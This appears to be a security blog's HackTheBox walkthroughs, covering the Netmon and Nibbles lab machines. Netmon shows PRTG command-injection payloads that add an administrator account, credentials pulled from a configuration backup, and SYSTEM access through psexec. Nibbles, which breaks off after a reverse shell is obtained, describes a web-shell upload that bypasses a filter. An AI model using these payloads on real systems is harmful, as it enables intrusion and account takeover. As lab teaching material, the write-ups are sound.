<p><strong>Machine Name:</strong> Netmon</p>
<p><strong>Platform:</strong> HackTheBox</p>
<p><strong>Operating System:</strong> Windows</p>
<p>In this walkthrough, I document my attack path against the Netmon machine. The goal is to enumerate available services, identify an attack vector, gain initial access, and ultimately escalate privileges to obtain full system compromise.</p>
<h2>Tools Used</h2>
<p><strong>Rustscan</strong></p>
<p>Used for fast port discovery to quickly identify open services on the target system.</p>
<p><strong>Nmap</strong></p>
<p>Used for service detection and detailed enumeration after identifying open ports.</p>
<p><strong>FFUF</strong></p>
<p>Used for web directory fuzzing to discover hidden paths and endpoints on the web server.</p>
<p><strong>NetExec (nxc)</strong></p>
<p>Used to enumerate SMB services and test authentication against the target system.</p>
<p><strong>FTP</strong></p>
<p>Used to access and download exposed configuration files from the FTP server.</p>
<p><strong>Impacket</strong></p>
<p>Specifically psexec.py, used to gain remote command execution over SMB once administrative credentials were obtained.</p>
<h2>2. Enumeration</h2>
<h3>Port and Service Enumeration</h3>
<p>I began by scanning the target using Rustscan to quickly identify open ports, which were then enumerated with Nmap for service detection.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/f4a79161-d734-4a59-9f9f-9ef26ecbd9c7.png" alt="" style="display:block;margin:0 auto" />

<p>The scan revealed the following notable services:</p>
<ul>
<li><p><strong>21/tcp – FTP (Microsoft ftpd)</strong></p>
</li>
<li><p><strong>80/tcp – HTTP (PRTG Network Monitor)</strong></p>
</li>
<li><p><strong>135/tcp – MSRPC</strong></p>
</li>
<li><p><strong>139/tcp – NetBIOS</strong></p>
</li>
<li><p><strong>445/tcp – SMB (Microsoft Windows Server 2008 R2 / 2012)</strong></p>
</li>
<li><p><strong>5985/tcp – HTTPAPI (WinRM)</strong></p>
</li>
<li><p>Several high RPC ports (49664–49669)</p>
</li>
</ul>
<p>One important result came from the Nmap <strong>ftp-anon</strong> script, which reported that anonymous FTP login was allowed:</p>
<p>ftp-anon: Anonymous FTP login allowed (FTP code 230)</p>
<p>In situations like this, I prefer to enumerate <strong>SMB and FTP first</strong> before diving deeply into the web application. These services often expose useful files, credentials, or configuration data that can later be leveraged against the web interface.</p>
<p>However, it is still useful to have web reconnaissance running in the background while investigating other services. To accomplish this, I started a <strong>directory brute-force scan using ffuf</strong> against the web server.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/f9f12db1-608d-42f2-bce4-d5988784af31.png" alt="" style="display:block;margin:0 auto" />

<p>Running ffuf in the background allows me to begin discovering potential hidden directories or endpoints on the web server while I continue manually enumerating SMB and FTP.</p>
<h3>SMB Enumeration</h3>
<p>With initial reconnaissance underway and <strong>ffuf running in the background</strong>, I began manually enumerating the exposed services starting with <strong>SMB on port 445</strong>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/82ecbcec-d9b1-410b-bb05-a66e4de0bf96.png" alt="" style="display:block;margin:0 auto" />

<p>This test checks whether <strong>anonymous SMB access</strong> is permitted. However, the server returned an <strong>access denied</strong> response, indicating that anonymous authentication is not supported for SMB share enumeration on this system.</p>
<p>Since SMB did not allow unauthenticated access, I shifted my attention to the <strong>FTP service on port 21</strong>, which earlier enumeration suggested allowed anonymous login.</p>
<h3>FTP Enumeration</h3>
<p>Since SMB did not allow unauthenticated access, I shifted my attention to the <strong>FTP service on port 21</strong>, which earlier enumeration suggested allowed anonymous login.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/55cb73a6-42c6-4c6a-a2c7-26d06c48bf97.png" alt="" style="display:block;margin:0 auto" />

<p>I connected to the FTP server and began exploring the exposed directories. I first navigated to the <strong>Users</strong> directory, but aside from the user flag there was nothing of immediate value.</p>
<p>Next, I inspected the <strong>ProgramData</strong> directory. This location is often a valuable target during enumeration because it commonly stores <strong>application configuration files, logs, and other operational data</strong>, which may contain sensitive information such as credentials.</p>
<p>Inside this directory, I discovered several <strong>PRTG configuration files</strong>. Because PRTG was identified earlier during web enumeration, these files were particularly interesting. I downloaded them to my attacker machine for offline analysis.</p>
<pre><code class="language-plaintext">get "PRTG Configuration.old"
get "PRTG Configuration.old.bak"
get "PRTG Configuration.dat"
</code></pre>
<p>After successfully transferring the files, I exited the FTP session so that I could analyze the configuration files locally.</p>
<h3>Credential Discovery</h3>
<p>After downloading the PRTG configuration files from the FTP server, I began inspecting them locally to see if they contained any useful information.</p>
<p>Two of the files did not appear to contain anything particularly interesting. However, when inspecting <code>PRTG Configuration.old.bak</code>, I discovered credentials embedded within the configuration data.</p>
<p>This revealed the following credentials:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/0680dc2a-916b-4407-ae44-6ea40f277de7.png" alt="" style="display:block;margin:0 auto" />

<p>Since the target web application was identified earlier as <strong>PRTG Network Monitor</strong>, these credentials appeared to be promising candidates for authentication.</p>
<hr />
<h3>Web Application Login</h3>
<p>I navigated to the web interface at:</p>
<pre><code class="language-plaintext">http://10.129.230.176
</code></pre>
<p>This presented a <strong>PRTG Network Monitor login page</strong>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/3a30e763-31a0-4a55-9d5a-270408a7528d.png" alt="" style="display:block;margin:0 auto" />

<p>I first attempted to authenticate using the credentials discovered in the configuration file:</p>
<pre><code class="language-plaintext">Username: prtgadmin
Password: PrTg@dmin2018
</code></pre>
<p>However, the login attempt failed.</p>
<p>Next, I tried the common <strong>default credentials</strong> often associated with PRTG installations:</p>
<pre><code class="language-plaintext">Username: prtgadmin
Password: prtgadmin
</code></pre>
<p>This also failed.</p>
<p>At this point I considered that the credentials were recovered from an <strong>old backup configuration file</strong>, which suggested they might be slightly outdated.</p>
<p>Looking again at the password, I noticed that it contained a <strong>year value</strong>:</p>
<pre><code class="language-plaintext">PrTg@dmin2018
</code></pre>
<p>Since the backup file dated from 2018, it was possible that the password had been updated to reflect a newer year. I tested this hypothesis by modifying the password accordingly.</p>
<pre><code class="language-plaintext">Username: prtgadmin
Password: PrTg@dmin2019
</code></pre>
<p>This time the authentication was successful, granting access to the <strong>PRTG Network Monitor dashboard</strong>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/2d40a818-6cb2-45a5-9505-265ccc1fccae.png" alt="" style="display:block;margin:0 auto" />

<h2>3. Exploitation</h2>
<h3>Foothold</h3>
<p>Now that I had successfully authenticated to the <strong>PRTG Network Monitor dashboard</strong>, the next step was to determine whether the application version contained any known vulnerabilities.</p>
<p>Earlier enumeration revealed that the application version running on the server was:</p>
<pre><code class="language-plaintext">PRTG Network Monitor 18.1.37.13946
</code></pre>
<p>With version disclosure available, I began searching for publicly known vulnerabilities affecting this version of PRTG.</p>
<p>During my research, I discovered documentation describing <strong>CVE-2018-9276</strong>, a command injection vulnerability affecting versions of <strong>PRTG Network Monitor prior to 18.2.39</strong>.</p>
<p>The vulnerability description explains that an attacker with access to the <strong>PRTG administrative web console</strong> can exploit an <strong>OS command injection vulnerability</strong> by supplying malicious input within certain configuration parameters.</p>
<p>Specifically, the issue occurs in the <strong>Notifications configuration</strong>, where the value supplied in the <strong>“Parameter”</strong> field is passed directly to a PowerShell script without proper input sanitization.</p>
<p>Because the input is not properly sanitized, it becomes possible to inject additional commands that will be executed on the underlying Windows system.</p>
<p>Further investigation revealed that values supplied through this configuration are written to the file:</p>
<pre><code class="language-plaintext">C:\ProgramData\Paessler\PRTG Network Monitor\PRTG Configuration.dat
</code></pre>
<p>Since this file stores parameters used by the notification system, manipulating these parameters allows arbitrary command execution when the notification is triggered.</p>
<p>Research confirmed that inserting a payload similar to the following into the <strong>Parameter</strong> field would result in command execution:</p>
<pre><code class="language-plaintext">test.txt;net user pentest p3nT3st! /add
</code></pre>
<p>This payload demonstrates that arbitrary commands can be injected by terminating the expected input and appending additional commands, in this case creating a new local user on the system.</p>
<p>Since I already had authenticated administrative access to the PRTG interface, this vulnerability provided a viable path to achieve <strong>remote command execution on the host</strong>.</p>
<h3>Remote Code Execution</h3>
<p>After identifying <strong>CVE-2018-9276</strong>, I began following the proof-of-concept described in the research. The vulnerability exists in the <strong>Notifications configuration</strong> of PRTG, where parameters passed to certain notification scripts are not properly sanitized before being executed.</p>
<p>To begin testing this, I navigated within the PRTG interface to:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/a7cbe250-6751-42a9-be4a-a3293587b082.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">Setup → Account Settings → Notifications
</code></pre>
<p>From the notifications page, I clicked the <strong>"+" icon</strong> on the right side and selected <strong>“Add new notification.”</strong></p>
<p>Leaving most of the settings unchanged, I scrolled to the bottom of the configuration page and selected the option:</p>
<pre><code class="language-plaintext">Execute Program
</code></pre>
<p>This option allows a script to be executed when the notification is triggered. I selected one of the default demo PowerShell scripts provided by the application and focused on the Parameter field, which is where the command injection occurs.</p>
<p>Although many characters are filtered, enough characters remain usable to allow command injection by chaining commands.</p>
<p>I supplied the following payload in the Parameter field:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/3dedd3e9-878d-4465-b78c-8f9b6e88905b.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">test.txt;net user neo p3nT3st! /add;net localgroup administrators neo /add
</code></pre>
<p>This payload performs two actions:</p>
<ol>
<li><p>Creates a new local user named <strong>neo</strong></p>
</li>
<li><p>Adds that user to the <strong>Administrators group</strong></p>
</li>
</ol>
<p>After saving the notification configuration, I returned to the notifications list and selected the newly created notification. I then clicked the bell icon to trigger the notification and execute the command.</p>
<p>After a few seconds, the payload executed successfully.</p>
<hr />
<h3>SYSTEM Shell</h3>
<p>To verify that the new user had been created successfully, I tested SMB authentication using the credentials created by the payload.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/e4d9430d-3806-43e7-bc93-55c330d8a006.png" alt="" style="display:block;margin:0 auto" />

<p>The output confirmed that the <strong>neo</strong> account had full administrative access to the system shares.</p>
<p>With administrative SMB access available, I used <strong>Impacket's psexec.py</strong> to obtain a shell on the target.</p>
<p>The tool uploaded a service executable to the <strong>ADMIN$</strong> share and executed it remotely, spawning a shell on the system.</p>
<p>Once connected, I verified the privilege level:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/507c7672-b2d9-4e35-9210-b318df667ac4.png" alt="" style="display:block;margin:0 auto" />

<p>This provided full control of the target machine, completing the exploitation phase of the engagement.</p>
<h2>4. Privilege Escalation</h2>
<p>In this case, separate privilege escalation was not required.</p>
<p>The credentials recovered from the configuration backup file allowed authentication to the PRTG administrative interface. By default, the prtgadmin account operates with high privileges within the application, and the notification scripts executed by the application run under the SYSTEM account on the host.</p>
<p>Because of this configuration, exploiting the <strong>CVE-2018-9276 command injection vulnerability</strong> resulted in commands being executed directly as NT AUTHORITY\SYSTEM.</p>
<p>As a result, once the command injection payload was triggered, the new user account created through the exploit already possessed administrative privileges on the system. Using those credentials with psexec immediately yielded a SYSTEM shell.</p>
<h2>5. Lessons Learned</h2>
<h3>Importance of Securing FTP Services</h3>
<p>The initial attack vector in this engagement originated from the <strong>FTP service</strong>. Anonymous access allowed retrieval of sensitive application files, specifically the <strong>PRTG configuration backup files</strong>. Even though these were backup files, they still contained valuable information that could be leveraged during the attack.</p>
<p>This highlights the importance of <strong>restricting FTP access and preventing anonymous exposure of sensitive data</strong>. File services should never expose internal application data to unauthenticated users.</p>
<h3>Value of Enumerating ProgramData</h3>
<p>Another key takeaway from this machine is the importance of inspecting the <strong>ProgramData directory</strong> on Windows systems.</p>
<p>Many applications store operational data, configuration files, and backups within this directory. As seen in this engagement, configuration backups located in ProgramData contained credentials that were later used to authenticate to the web application.</p>
<p>Because of this, ProgramData should always be considered a <strong>high-value enumeration target during Windows engagements</strong>.</p>
<h3>Leveraging Version Disclosure</h3>
<p>Once authenticated to the PRTG web interface, the application revealed its exact version number. This allowed quick identification of a publicly known vulnerability affecting that specific version.</p>
<p>Version disclosure can significantly reduce the time required to identify viable exploits, making it an important piece of information during application enumeration.</p>
<h3>Thinking Critically About Credential Artifacts</h3>
<p>Another useful lesson came from analyzing the credentials discovered in the configuration backup file.</p>
<p>Initially, the recovered password <strong>PrTg@dmin2018</strong> did not work. However, recognizing that the file was an old backup suggested the password may have been updated since the backup was created.</p>
<p>Testing the same password with an updated year value eventually led to successful authentication.</p>
<p>This demonstrates the importance of <strong>thinking critically about how credentials may evolve over time</strong>, especially when they originate from backups or archived configuration files.</p>
<h2>6. Defensive Insight</h2>
<h3>Restrict Anonymous FTP Access</h3>
<p>Anonymous FTP access should never expose internal application directories or configuration data. Sensitive files such as <strong>configuration backups, application data, or credentials</strong> should always be restricted to authenticated users only.</p>
<p>Properly restricting FTP access could have prevented the attacker from retrieving the configuration files that ultimately led to credential discovery.</p>
<h3>Protect Application Configuration Files</h3>
<p>Configuration files frequently contain sensitive information such as <strong>credentials, tokens, and operational parameters</strong>. These files should be carefully protected and never exposed through publicly accessible services.</p>
<p>Additionally, backups should be stored securely and should not be left accessible through network services.</p>
<h3>Maintain Proper Patch Management</h3>
<p>The vulnerability exploited in this engagement (<strong>CVE-2018-9276</strong>) had already been publicly documented and patched in later versions of PRTG.</p>
<p>Maintaining proper <strong>patch management practices</strong> and keeping software up to date is one of the most effective ways to prevent attackers from exploiting known vulnerabilities.</p>
<h3>Enforce Input Validation and Sanitization</h3>
<p>The command injection vulnerability occurred because user-supplied input from the Notification parameter field was passed directly into a PowerShell script without sufficient input validation.</p>
<p>Applications that execute system commands must strictly <strong>sanitize and validate all user input</strong> to prevent command injection vulnerabilities.</p>
]]></content:encoded></item><item><title><![CDATA[OSCP Prep #4 
Nibbles Write-Up
]]></title><description><![CDATA[1. Target Overview

Machine Name: Nibbles

Platform: HackTheBox

Operating System: Linux


In this walkthrough, I document my attack path against the Nibbles machine. The goal is to enumerate availabl]]></description><link>https://www.hack2harden.com/oscp-prep-4-nibbles-write-up</link><guid isPermaLink="true">https://www.hack2harden.com/oscp-prep-4-nibbles-write-up</guid><dc:creator><![CDATA[Deonte Spencer]]></dc:creator><pubDate>Fri, 13 Mar 2026 07:20:48 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/aff85373-8914-44ac-9967-6e53bb3e4021.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1>1. Target Overview</h1>
<ul>
<li><p><strong>Machine Name:</strong> Nibbles</p>
</li>
<li><p><strong>Platform:</strong> HackTheBox</p>
</li>
<li><p><strong>Operating System:</strong> Linux</p>
</li>
</ul>
<p>In this walkthrough, I document my attack path against the Nibbles machine. The goal is to enumerate available services, identify an attack vector, gain initial access, and ultimately escalate privileges to obtain full system compromise.</p>
<h3>Tools Used</h3>
<p><strong>Rustscan</strong><br />Used for fast initial port discovery before deeper enumeration.</p>
<p><strong>Nmap</strong><br />Used indirectly through Rustscan to identify services and versions.</p>
<p><strong>FFUF</strong><br />Used for directory brute forcing to discover hidden web endpoints.</p>
<p><strong>Firefox</strong><br />Used for manual browsing and inspecting web application source code.</p>
<p><strong>Burp Suite</strong><br />Used to intercept and modify HTTP requests in order to bypass file upload filtering and craft the polyglot web shell.</p>
<p><strong>Netcat</strong><br />Used to establish both the initial reverse shell and the final root shell.</p>
<p><strong>Python3 (PTY Module)</strong><br />Used to upgrade the reverse shell into a fully interactive terminal.</p>
<hr />
<h1>2. Enumeration</h1>
<h2>Nmap Scan</h2>
<p>As always, I began the engagement with a port scan to identify exposed services on the target machine.</p>
<pre><code class="language-plaintext">rustscan -a 10.129.4.207 -b 7000
</code></pre>
<p>The scan revealed only two open ports:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/8ef7df39-7970-415f-8473-2e1e8e0bafc7.png" alt="" style="display:block;margin:0 auto" />

<p>From this scan I learned:</p>
<ul>
<li><p><strong>Port 22 (SSH)</strong> is open and running OpenSSH.</p>
</li>
<li><p><strong>Port 80 (HTTP)</strong> is running an <strong>Apache 2.4.18 web server</strong>.</p>
</li>
</ul>
<p>This gives the machine a <strong>very small attack surface</strong>, which simplifies the initial enumeration strategy.</p>
<p>Because <strong>port 80 is hosting a web server</strong>, the most logical next step is to investigate the web application for potential vulnerabilities such as:</p>
<ul>
<li><p>hidden directories</p>
</li>
<li><p>exposed files</p>
</li>
<li><p>login panels</p>
</li>
<li><p>CMS platforms</p>
</li>
<li><p>file upload functionality</p>
</li>
</ul>
<p>Although SSH is available, attempting to brute-force it would be inefficient and noisy without valid usernames or password hints. Therefore, I prioritized <strong>enumerating the web server on port 80</strong> as the primary attack vector.</p>
<h2>Web Enumeration</h2>
<p>To begin enumerating the web server, I started a <strong>directory brute force scan</strong> using ffuf while simultaneously browsing the application manually.</p>
<pre><code class="language-plaintext">ffuf -u http://10.129.4.207/FUZZ -w /usr/share/wordlists/elite.txt
</code></pre>
<p>Running automated directory discovery in the background while manually inspecting the site is a useful workflow because it allows hidden directories to be discovered while I analyze the application’s visible behavior.</p>
<h3>Inspecting the Web Application</h3>
<p>Navigating to the site in the browser revealed a very minimal page.</p>
<p>The page simply displayed:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/47e60d05-39b9-4bb7-91c8-bd22a5e653a7.png" alt="" style="display:block;margin:0 auto" />

<p>There appeared to be <strong>no visible functionality</strong>, links, or interactive components.</p>
<p>However, viewing the <strong>page source</strong> revealed something more interesting.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/b0930d0f-9d0c-4ac3-85a7-84e6fbff6e10.png" alt="" style="display:block;margin:0 auto" />

<p>Inside the HTML source was a <strong>comment referencing a directory called</strong> <code>/nibbleblog/</code>.</p>
<p>Even though the comment claims that nothing interesting exists there, comments like this often reveal <strong>hidden application paths</strong> and are a strong indicator that a web application or CMS may be located in that directory.</p>
<p>This immediately became the next target for investigation.</p>
<h3><strong>Discovering the Blog Application</strong></h3>
<p>Browsing to the discovered path revealed a blog-style website.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/4839956a-6137-425a-9bdd-035c94f300b8.png" alt="" style="display:block;margin:0 auto" />

<p>The page appeared to be a blog that was likely still under development. The site contained several typical CMS elements including:</p>
<ul>
<li><p><strong>Categories</strong></p>
</li>
<li><p><strong>Pages</strong></p>
</li>
<li><p><strong>Latest Posts</strong></p>
</li>
<li><p><strong>Navigation links</strong></p>
</li>
</ul>
<p>At the bottom of the page was an important piece of information:</p>
<pre><code class="language-plaintext">Powered by Nibbleblog
</code></pre>
<p>This revealed that the site is running the <strong>Nibbleblog CMS</strong>.</p>
<p>Identifying the underlying CMS is extremely useful during enumeration because it allows me to begin researching:</p>
<ul>
<li><p>known vulnerabilities</p>
</li>
<li><p>default login locations</p>
</li>
<li><p>admin panels</p>
</li>
<li><p>publicly available exploits</p>
</li>
</ul>
<p>At this stage, confirming the application type opened the door for CMS-specific enumeration and vulnerability research.</p>
<h2>Enumerating the Blog Directory</h2>
<p>I clicked around and all the links seemed to be dead and the page offered no interactivity. Because the application did not expose much functionality through the interface, I performed additional directory enumeration directly against the <strong>/nibbleblog</strong> path to better understand the full attack surface.</p>
<p>This revealed several interesting directories and files:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/02e05caa-07dd-45b5-9cdb-3477e1ca8cdb.png" alt="" style="display:block;margin:0 auto" />

<p>These results confirm that the application is a <strong>fully deployed CMS installation</strong>, exposing several components that could potentially be leveraged during exploitation:</p>
<ul>
<li><p><strong>admin / admin.php</strong> – likely the administrative login panel</p>
</li>
<li><p><strong>content</strong> – often contains uploaded files or CMS data</p>
</li>
<li><p><strong>plugins</strong> – plugins frequently introduce vulnerabilities</p>
</li>
<li><p><strong>themes</strong> – themes sometimes allow template injection or file upload abuse</p>
</li>
<li><p><strong>install.php</strong> – occasionally exploitable if installation protections are incomplete</p>
</li>
</ul>
<p>Another important observation is that several files returned by the scan use the <code>.php</code> <strong>extension</strong>, indicating that the server-side language powering the application is <strong>PHP</strong>.</p>
<p>This is useful information because many web exploitation techniques—particularly <strong>web shell uploads or remote code execution attacks</strong>—often rely on uploading or executing <strong>PHP payloads</strong> on the target system.</p>
<p>Knowing the application runs PHP helps guide future exploitation attempts, especially when evaluating features such as:</p>
<ul>
<li><p>plugin upload functionality</p>
</li>
<li><p>theme editing interfaces</p>
</li>
<li><p>file upload endpoints</p>
</li>
</ul>
<h2>Version Disclosure</h2>
<p>Before attempting any exploitation, I continued analyzing the discovered endpoints to gather as much information about the application as possible. Identifying the <strong>exact version of the CMS</strong> can be extremely valuable because it allows me to search for <strong>known vulnerabilities or public exploits</strong> targeting that specific release.</p>
<p>One of the files discovered during directory enumeration was:</p>
<pre><code class="language-plaintext">/nibbleblog/README
</code></pre>
<p>Navigating to this endpoint revealed the following information:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/53d517ed-6aad-4c14-b7f0-02b89d9bb6e7.png" alt="" style="display:block;margin:0 auto" />

<p>This file exposed several useful details about the application, most importantly the <strong>exact CMS version</strong>:</p>
<pre><code class="language-plaintext">Nibbleblog v4.0.3
</code></pre>
<p>Version disclosure like this is extremely valuable during enumeration because it allows me to begin researching <strong>known vulnerabilities affecting that specific version of the software</strong>.</p>
<h2>Investigating the Admin Panel</h2>
<p>During directory enumeration, I discovered an administrative endpoint:</p>
<pre><code class="language-plaintext">/nibbleblog/admin.php
</code></pre>
<p>Navigating to this page presented a login form for the <strong>Nibbleblog administrative interface</strong>.</p>
<p>The page displayed a standard authentication portal requiring a username and password.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/32d9c323-e032-449d-bfba-54b2faab6e0e.png" alt="" style="display:block;margin:0 auto" />

<p>At this point, administrative login panels are extremely valuable targets because they often allow:</p>
<ul>
<li><p>authentication bypass</p>
</li>
<li><p>default credentials</p>
</li>
<li><p>brute force attacks</p>
</li>
<li><p>functionality that leads to file upload or code execution</p>
</li>
</ul>
<hr />
<h2>Testing for SQL Injection</h2>
<p>Before attempting credential attacks, I briefly tested the login form for <strong>SQL injection vulnerabilities</strong>. However, these attempts were unsuccessful, indicating that the login form was not trivially injectable.</p>
<p>Since this avenue did not immediately yield results, I shifted my focus to checking for <strong>default credentials</strong>.</p>
<hr />
<h2>Testing Default Credentials</h2>
<p>Many CMS platforms ship with <strong>default administrator credentials</strong>, and developers frequently forget to change them during deployment.</p>
<p>After searching for common credentials used by <strong>Nibbleblog</strong>, I discovered a commonly documented default credential pair:</p>
<pre><code class="language-plaintext">admin : nibbles
</code></pre>
<p>I attempted to authenticate using these credentials and successfully logged into the administrative dashboard.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/5b64ab07-3ccf-4f00-8e0c-c5273c017dbf.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h2>Admin Dashboard Access</h2>
<p>After authenticating, I gained access to the <strong>Nibbleblog administrative control panel</strong>, which exposed several management features including:</p>
<ul>
<li><p>Publish content</p>
</li>
<li><p>Manage comments</p>
</li>
<li><p>Configure settings</p>
</li>
<li><p>Manage themes</p>
</li>
<li><p>Manage plugins</p>
</li>
</ul>
<p>Gaining administrative access is a critical milestone because CMS admin panels often allow functionality such as:</p>
<ul>
<li><p>plugin uploads</p>
</li>
<li><p>theme modifications</p>
</li>
<li><p>file uploads</p>
</li>
</ul>
<h1>3. Exploitation</h1>
<h2>Identifying the Vulnerability</h2>
<p>After obtaining administrative access to the <strong>Nibbleblog dashboard</strong> and identifying the application version as <strong>Nibbleblog v4.0.3</strong>, I began researching known vulnerabilities affecting this version of the CMS.</p>
<p>This research revealed <strong>CVE-2015-6967</strong>, an <strong>arbitrary file upload vulnerability</strong> affecting Nibbleblog versions prior to <strong>4.0.5</strong>.</p>
<hr />
<h2>CVE-2015-6967 — Arbitrary File Upload</h2>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/9c91399d-73b9-4374-b6fb-95936b2625ef.png" alt="" style="display:block;margin:0 auto" />

<p>The vulnerability exists within the <strong>My Image plugin</strong> included in Nibbleblog. The plugin allows administrators to upload images, but the upload functionality does not properly validate file extensions.</p>
<p>Because of this, an attacker with administrative access can upload a file containing <strong>executable code</strong>, such as a <strong>PHP reverse shell</strong>.</p>
<p>Once uploaded, the file is stored inside the following directory:</p>
<pre><code class="language-plaintext">/content/private/plugins/my_image/
</code></pre>
<p>Since the application runs on <strong>PHP</strong>, uploading a malicious <code>.php</code> file allows the server to execute attacker-controlled code when the file is accessed through the browser.</p>
<p>The attack process therefore becomes straightforward:</p>
<ol>
<li><p>Upload a <strong>malicious PHP payload</strong></p>
</li>
<li><p>Access the uploaded file through the browser</p>
</li>
<li><p>Execute commands on the server</p>
</li>
</ol>
<p>Because I already had administrative access to the CMS, this vulnerability provided a clear path to <strong>remote code execution</strong>.</p>
<h2>Exploiting the My Image Plugin Upload</h2>
<p>Based on the previously identified vulnerability <strong>CVE-2015-6967</strong>, the goal was to abuse the <strong>My Image plugin upload functionality</strong> to achieve <strong>remote code execution</strong>.</p>
<p>Before attempting to upload a malicious payload, I first wanted to understand <strong>how the application handles file uploads</strong>.</p>
<h3>Uploading a Valid Image</h3>
<p>When dealing with file upload vulnerabilities, it is often helpful to begin by uploading a <strong>legitimate file</strong>. This helps identify:</p>
<ul>
<li><p>what file types the server accepts</p>
</li>
<li><p>where uploaded files are stored</p>
</li>
<li><p>how the application names uploaded files</p>
</li>
</ul>
<p>Using the <strong>My Image plugin</strong>, I uploaded a simple image file.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/b1c11d4b-caf6-45e1-ad32-4fddec1dded5.png" alt="" style="display:block;margin:0 auto" />

<p>The upload succeeded, and the file appeared in the following directory:</p>
<pre><code class="language-plaintext">/nibbleblog/content/private/plugins/my_image/
</code></pre>
<p>This confirmed that uploaded files were being stored directly inside a <strong>web-accessible directory</strong>, which is ideal for exploitation.</p>
<hr />
<h2>Attempting to Upload a Web Shell</h2>
<p>Next, I attempted to upload a simple <strong>PHP web shell</strong>.</p>
<p>The payload I used was a minimal command execution shell:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/11fff6bb-d7fb-44e7-a746-68a18744e9ef.png" alt="" style="display:block;margin:0 auto" />

<p>However, attempting to upload the <code>.php</code> file directly failed. This indicated that the application was performing some type of <strong>basic file type filtering</strong>.</p>
<hr />
<h2>Bypassing the File Upload Filter</h2>
<p>To bypass this restriction, I used <strong>Burp Suite</strong> to intercept the upload request.</p>
<p>Instead of uploading a raw PHP file, I modified the request using a common upload bypass technique.</p>
<h3>Step 1 — Use a Valid Image as a Base</h3>
<p>I first uploaded the valid image again and intercepted the request in Burp. This allowed me to inspect the <strong>multipart form-data upload request</strong>.</p>
<h3>Step 2 — Preserve Image Magic Bytes</h3>
<p>To bypass the file validation, I left the <strong>initial portion of the JPEG file data intact</strong> so that the file would still appear to be a valid image based on its <strong>magic bytes</strong>.</p>
<h3>Step 3 — Insert the PHP Web Shell</h3>
<p>After the initial image header data, I removed the rest of the image content and replaced it with my <strong>PHP web shell code</strong>.</p>
<h3>Step 4 — Change the File Extension</h3>
<p>Finally, I modified the filename in the request so the uploaded file would have a <code>.php</code> <strong>extension</strong>, allowing the server to execute it.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/3be80b05-e3da-4252-b92f-5a594b9dba30.png" alt="" style="display:block;margin:0 auto" />

<p>Once the request was sent, the server responded with 200 ok.</p>
<p>indicating that the upload had been accepted.</p>
<hr />
<h2>Achieving Remote Code Execution</h2>
<p>After the upload completed successfully, I navigated to the plugin directory in the browser:</p>
<p>The malicious file appeared in the directory listing. Opening the file allowed me to interact with the web shell.</p>
<p>To confirm code execution, I issued the following command using the <code>cmd</code> query parameter:</p>
<p>The server responded with:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/6beb32f6-2bc2-48df-973a-5199c088479e.png" alt="" style="display:block;margin:0 auto" />

<p>This confirmed that <strong>remote code execution was successfully achieved</strong> and that commands were executing as the <strong>nibbler user</strong>.</p>
<p>At this point, I had obtained <strong>command execution on the target system</strong>, which could now be leveraged to establish a more stable reverse shell.</p>
<h2>Obtaining a Reverse Shell</h2>
<p>After confirming remote code execution through the uploaded web shell, the next step was to establish a more stable shell connection back to my attacking machine.</p>
<p>Earlier, I had verified command execution using:</p>
<pre><code class="language-plaintext">?cmd=id
</code></pre>
<p>To obtain an interactive shell, I reused the same <code>cmd</code> <strong>parameter</strong> and replaced the command with a <strong>Bash reverse shell payload</strong>.</p>
<p>Since the command is being passed through a URL query string, it is important that the payload is <strong>URL encoded</strong> to ensure it is processed correctly by the server.</p>
<p>The request sent through Burp Suite looked like this:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/944c4293-2c4f-4407-bb04-e11ab6093b7f.png" alt="" style="display:block;margin:0 auto" />

<p>This payload instructs the target system to initiate a reverse connection back to my attacking machine.</p>
<hr />
<h2>Setting Up the Listener</h2>
<p>Before sending the request, I set up a <strong>Netcat listener</strong> to receive the incoming shell.</p>
<pre><code class="language-plaintext">nc -nvlp 9001
</code></pre>
<p>After sending the modified request, the server connected back to my listener and a shell was established.</p>
<p>Running <code>whoami</code> confirmed the context of the shell:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/ac9e2c35-25ba-4c84-a90a-555d62ade503.png" alt="" style="display:block;margin:0 auto" />

<p>This indicated that I had successfully obtained a shell as the nibbler user on the target system.</p>
